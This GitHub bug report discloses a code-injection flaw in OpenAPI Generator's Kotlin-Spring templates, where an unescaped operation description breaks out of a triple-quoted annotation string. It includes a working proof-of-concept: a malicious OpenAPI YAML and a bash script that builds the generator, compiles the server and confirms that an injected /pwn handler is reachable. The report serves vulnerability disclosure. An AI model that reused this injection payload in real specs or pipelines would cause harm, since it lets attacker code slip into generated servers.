Skip to content

[BUG][Kotlin] Operation Description Escapes Generated Annotation String and Injects a Spring Handler #23956

@quart27219

Description

@quart27219

Bug Report Checklist

  • [✅] Have you provided a full/minimal spec to reproduce the issue?
  • [✅] Have you validated the input using an OpenAPI validator?
  • [✅] Have you tested with the latest master to confirm the issue still exists?
  • [✅] Have you searched for related issues/PRs?
  • [✅] What's the actual output vs expected output?
  • [Optional] Sponsorship to speed up the bug fix or feature request (example)
Description

OpenAPI Generator has a similar vulnerability with CVE-2026-22785 in the Kotlin-Spring generator: an untrusted OpenAPI operation description is copied into generated Kotlin source through unescapedNotes and placed inside a triple-quoted annotation string. A malicious description containing """ can close the string, close the annotation, and insert attacker-controlled Kotlin/Spring declarations into the generated controller.

The vulnerable sink is in modules/openapi-generator/src/main/resources/kotlin-spring/api.mustache.

@Operation(
    summary = "{{{summary}}}",
    operationId = "{{{operationId}}}",
    description = """{{{unescapedNotes}}}""",
    responses = [{{#responses}}

The same pattern is also present in modules/openapi-generator/src/main/resources/kotlin-spring/apiInterface.mustache.

@Operation(
    tags = [{{#tags}}"{{{name}}}",{{/tags}}],
    summary = "{{{summary}}}",
    operationId = "{{{operationId}}}",
    description = """{{{unescapedNotes}}}""",
    responses = [{{#responses}}

The template uses unescapedNotes, not the escaped notes field. In modules/openapi-generator/src/main/java/org/openapitools/codegen/DefaultCodegen.java, unescapedNotes is assigned directly from the OpenAPI operation description:

op.summary = escapeText(operation.getSummary());
op.unescapedNotes = operation.getDescription();
op.notes = escapeText(operation.getDescription());

The Kotlin generator has escaping helpers, but those helpers are not applied to this unescapedNotes template path. modules/openapi-generator/src/main/java/org/openapitools/codegen/languages/AbstractKotlinCodegen.java only handles quote removal for escaped text and block-comment delimiter replacement for unsafe characters:

public String escapeQuotationMark(String input) {
    return input.replace("\"", "");
}

public String escapeUnsafeCharacters(String input) {
    return input.replace("*/", "*_/").replace("/*", "/_*");
}

Because the template renders the raw operation description inside a Kotlin triple-quoted string, an attacker-controlled """ terminates the annotation string. The attacker can then close the annotation and add Kotlin/Spring code before reopening a benign annotation string for the remaining generated template.

openapi-generator version

v7.22.0

Steps to reproduce

The following reproduction is self-contained. It checks out the affected OpenAPI Generator source, builds the CLI jar, creates the malicious OpenAPI document, generates a Kotlin-Spring server, compiles it, starts the generated
Spring application, and triggers the injected handler over HTTP.

set -eu

workdir="$(mktemp -d)"
cd "$workdir"

git clone --depth 1 https://github.com/OpenAPITools/openapi-generator.git
cd openapi-generator
git fetch --depth 1 origin 1dc89bd3d9081a4b2eff6baa8f7866109eb88a15
git checkout 1dc89bd3d9081a4b2eff6baa8f7866109eb88a15

./mvnw -q -pl modules/openapi-generator-cli -am package -DskipTests </dev/null
generator_jar="$(find modules/openapi-generator-cli/target -maxdepth 1 \
  -name 'openapi-generator-cli*.jar' \
  ! -name '*sources*' \
  ! -name '*javadoc*' \
  | head -n 1)"

cat > "$workdir/malicious-openapi.yaml" <<'YAML'
openapi: "3.0.3"
info:
  title: OpenAPI Generator Kotlin description injection
  version: "1.0.0"
paths:
  /ping:
    get:
      operationId: ping
      summary: Ping
      description: |
        """
            )
            @GetMapping("/pwn")
            fun pwn(): String {
                return "OPENAPI_GENERATOR_INJECTED_HANDLER"
            }
            @Operation(description = """
      responses:
        "200":
          description: OK
YAML

java -jar "$generator_jar" generate \
  -g kotlin-spring \
  -i "$workdir/malicious-openapi.yaml" \
  -o "$workdir/generated-server" \
  --additional-properties=interfaceOnly=false,serviceInterface=false,documentationProvider=springdoc,useSpringBoot3=false \
  </dev/null

grep -R '@GetMapping("/pwn")' "$workdir/generated-server/src/main/kotlin"
grep -R 'OPENAPI_GENERATOR_INJECTED_HANDLER' "$workdir/generated-server/src/main/kotlin"

cd "$workdir/generated-server"
chmod +x ./gradlew
./gradlew build -x test -Pkotlin.jvm.target.validation.mode=warning </dev/null

./gradlew bootRun --args='--server.port=18085' \
  -Pkotlin.jvm.target.validation.mode=warning </dev/null > "$workdir/boot.log" 2>&1 &
server_pid="$!"
trap 'kill "$server_pid" 2>/dev/null || true; wait "$server_pid" 2>/dev/null || true' EXIT

for i in $(seq 1 60); do
  response="$(curl -fsS http://127.0.0.1:18085/pwn 2>/dev/null || true)"
  if [ "$response" = "OPENAPI_GENERATOR_INJECTED_HANDLER" ]; then
    printf '%s\n' "$response"
    exit 0
  fi
  sleep 1
done

printf 'Injected handler did not become reachable. boot log follows:\n' >&2
cat "$workdir/boot.log" >&2
exit 1

Expected output from the final request:

OPENAPI_GENERATOR_INJECTED_HANDLER

The malicious OpenAPI operation description used by the script is:

openapi: "3.0.3"
info:
  title: OpenAPI Generator Kotlin description injection
  version: "1.0.0"
paths:
  /ping:
    get:
      operationId: ping
      summary: Ping
      description: |
        """
            )
            @GetMapping("/pwn")
            fun pwn(): String {
                return "OPENAPI_GENERATOR_INJECTED_HANDLER"
            }
            @Operation(description = """
      responses:
        "200":
          description: OK

The generated controller contains attacker-controlled source code:

@Operation(
    summary = "Ping",
    operationId = "ping",
    description = """"""
)
@GetMapping("/pwn")
fun pwn(): String {
    return "OPENAPI_GENERATOR_INJECTED_HANDLER"
}
@Operation(description = """
""",
    responses = [
        ApiResponse(responseCode = "200", description = "OK") ]
)
Related issues/PRs

Metadata

Metadata

Assignees

No one assigned

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions